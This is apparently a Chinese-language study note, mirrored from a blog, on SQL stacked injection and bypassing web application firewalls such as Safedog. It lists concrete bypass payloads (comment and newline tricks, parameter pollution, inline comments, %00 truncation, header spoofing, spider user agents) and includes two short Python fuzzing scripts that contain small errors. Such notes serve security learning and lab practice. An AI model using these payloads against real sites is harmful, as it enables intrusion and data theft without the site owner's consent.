zoukankan      html  css  js  c++  java
  • 十八:SQL注入之堆叠及绕WAF

    堆叠查询注入 (双查询注入)

    stacked injections(堆叠注入)从名词的含义就可以看到是一堆的SQL语句一起执行,而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句加;表示语句结束。这样                              子我们就想到了可以不可以多句一起使用,这个叫做stacked injection
    只有mysql可以堆叠注入,重添加一个管理员账户  具体添加将新增加的用户加入管理员组
    
       **phpstudy + safedog安装找不到服务问题**
    

    市面上常见的waf产品列表 - wafw00f

      阿里云盾,安全狗,阿里云盾
      遇到WAF先手测,工具一扫就会封IP。
      测试绕过就是研究哪方面没有进行过滤
    
      提交方式绕过WAF,前提支持各种方式的接受  
    
      (等价函数,特殊函数):既需要绕过匹配规则,还要不干扰语句的运行结果。
    
      反序列化的格式进行绕过,注释符混用
    
      %0a换行  %23注释#   
    

    部分bypass sqlinject payload

    特殊符号,换行绕狗子
    id = 1 union %23a%0A select 1,2,3 #  
    			匹配到union然后注释,安全认为句子结束,  union a select 狗子不会拦截
    			union #a                         写#屏蔽a,换行让union select执行
    			select 1,2,3 #
    
    
          注释符混用,参数污染绕狗子
    			
    
    			参数污染只接受后面的,?id=1/**&id=-1 unio select 1,2,3 #*/              /***/ SQL里面的注释符
    				1/**&id=-1 unio select 1,2,3 #*/        狗子接收的
    				-1 unio select 1,2,3 #*/       执行的语句  (内联注释)
    				狗子匹配第一条,其中的注释符号起到注释作用,正常情况没法执行,安全狗直接忽略,
    				参数污染导致的真实数据是执行的语句,能够正常执行SQL语句
    			
    			
    fuzz模糊测试,类似爆破密码。某个点生成字典,不断测试。写好脚本和字典批量化进行测试
    		import request
    		import time
    		
    		
    		url = 'http://1.1.1.1/sqli-labs/less2/?id=1'
    		for sqlin in open('uniobselect.txt')
    			urls = url + sqlin
    			result = requests.get(urls).text
    			if (result.find('safedog')==-1):
    				print(sqlin)
    			time.sleep(-1)
    			
    			
    堆叠注入详解:https://www.cnblogs.com/backlion/p/9721687.html
    

    应用层

    	大小写/关键字替换
    	id=1 UnIoN/**/SeLeCT 1,user()
    	hex() bin() 等价于ascii
    	sleep()等价于benchmark()
    	Mid()substring() 等价于 substr()
    	@@user() 等价于User()
    	@@version等价于version()
    	各种编码:
    		大小写,URL,hex,%0A等
    	注释使用:
    		// --  --+ # /**/ + :%00 /!**/等
    	再次循环
    		union==uunionnion
    	等价替换:
    		user()=@@user() and=& or=| ascii=hex等
    	参数污染:
    		?id=1&id=2&id=3
    	编码及解码:
    		s->%73->%25%37%33
    	更改请求提交方式:
    		GET,POST,COOKIE
    		POST->multipart/from-data
    		
    	中间件参数污染
    

    数据库特性:

    1.mysql技巧

    		(1)mysql注释有三种,#,/*...*/,-- ... (--后加空格)
    		 (2)空格符:0x9a,0x0a-0x0d,0x20,0xa0
    		 (3)特殊符号 0a%换行符
    			可结合注释符使用 %23%0a,%2d%2d%0a
    		 (4)内联注释
    			/*! union12345select*/ 1,user()   //数字范围1000-50540
    		  (5)mysql黑语法
    			 select {x username} from {x11 test.admin};
    

    2.sqlsever

    		 (1)用来注释掉后查询的其余部分
    			/*   c语言风格注释
    			-- sql注释
    			;00%空字节
    		  (2)空白符:[0x01-0x20]
    		 (3)特殊符号:%3a  冒号
    			id = 1 union:select 1,2 from:admin
    		(4)函数变型:如db_name [空白字符]()
    

    3.oracle技巧

    		(1) 注释符:--,/**/
    		(2) 空白字符:[0x00,0x09,0x0a-0x0d,0x20]
    		
    		4.配合fuzz
    		select * from admin where id=1 [位置一] union [位置二] select [位置三] 1,2,db_name() [位置四] from [位置五] admin
    

    逻辑层

    			(1)云waf防护,一般我们会尝试查找真实站点的真实ip,从而绕过CDN防护
    			(2)当提交,GET,POST同时请求时,进入POST逻辑,而忽略了GET请求的有害参数输入,可尝试bypass,
    			(3)http和https同时开放服务,没有做http到https的强制跳转,导致https有waf防护,http没有防护,直接访问http站点绕过防护
    			(4)特殊符号%00,部分waf遇到%00截断,只能获取到前面的参数,无法获取到后面的有害输入,从而导致bypass
    				比如:id=1%00and 1=2 union select 1,2,column_name from imformation_schema.columns 
    

    白名单

    方式一:ip白名单

    			从网络层获取来的ip,是无法伪造的,如果获取客户端的ip,这样就可能存在伪造ip绕过的情况。
    			
    			测试方法:
    				修改http的header来bypass waf
    				x-forwarded-for
    				x-remote-ip
    				x-originating-ip
    				x-remote-addr
    				x-real-ip
    

    方式二:静态资源

    				特定的后缀资源静态请求,常见的静态文件,(.js  .jpg  .swf  .css 等),类似白名单机制,
    				waf为了检测效率,不去检测这样一些静态文件后缀的请求。
    

    方式三:url白名单

    				为了防止误拦截,部分waf内置默认的白名单列表,如admin/manager/system等管理后台。只要url中存在的白名单的字符,就作为白名单不检测。
    

    方式四:爬虫白名单

    				部分waf对爬虫结果会忽略,waf如果识别出了搜索引擎来爬虫,waf就会放行
    			
    					import json
    					import request
    					
    					url = 'http://1.1.1.1:8080'
    					head={
    						'user-agent':'mozilla/5.0(compatible;badiduspider-render/2.0;)'
    					}
    					for data in open("php.txt"):
    						data = data.replace('
    ','')
    						urls=url+data
    						code=requests.get(urls,headers=head).status_code
    						print(urls+'|'+str(code))
  • 相关阅读:
    Dependency Injection in ASP.NET Web API 2
    js, lambada? 在chrome和node下可以使用
    jquery text
    bugs view:
    支持 gRPC 长链接,深度解读 Nacos 2.0 架构设计及新模型
    阿里云 ecs云主机 静默安装oracle11g
    mysql1033错误 InnoDB临时表空间报错
    8888. Distance Between 2 Nodes in BST
    783. Minimum Distance Between BST Nodes
    530. Minimum Absolute Difference in BST
  • 原文地址:https://www.cnblogs.com/SnowSec/p/14288249.html
Copyright © 2011-2022 走看看